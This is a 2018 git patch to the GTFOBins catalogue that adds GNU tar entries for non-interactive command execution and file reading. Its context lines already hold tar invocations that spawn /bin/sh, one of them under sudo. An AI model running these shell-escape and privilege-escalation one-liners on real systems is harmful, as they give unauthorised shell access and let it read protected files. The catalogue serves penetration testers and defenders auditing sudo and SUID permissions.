From 0d786940c458d1f99f5ba1fe3e34fbe7c38019cd Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Wed, 13 Jun 2018 10:35:26 +0200
Subject: [PATCH] Add tar execute-non-interactive and file-read

---
 _gtfobins/tar.md | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md
index f2afc76..19fd34d 100644
--- a/_gtfobins/tar.md
+++ b/_gtfobins/tar.md
@@ -2,6 +2,9 @@
 functions:
   execute-interactive:
     - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
+  execute-non-interactive:
+    - description: This only works for GNU tar.
+      code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
   sudo-enabled:
     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
   suid-limited:
@@ -13,4 +16,9 @@ functions:
         TF=$(mktemp)
         echo data > "$TF"
         tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
+  file-read:
+    - description: This only works for GNU tar.
+      code: |
+        LFILE=file_to_read
+        tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
 ---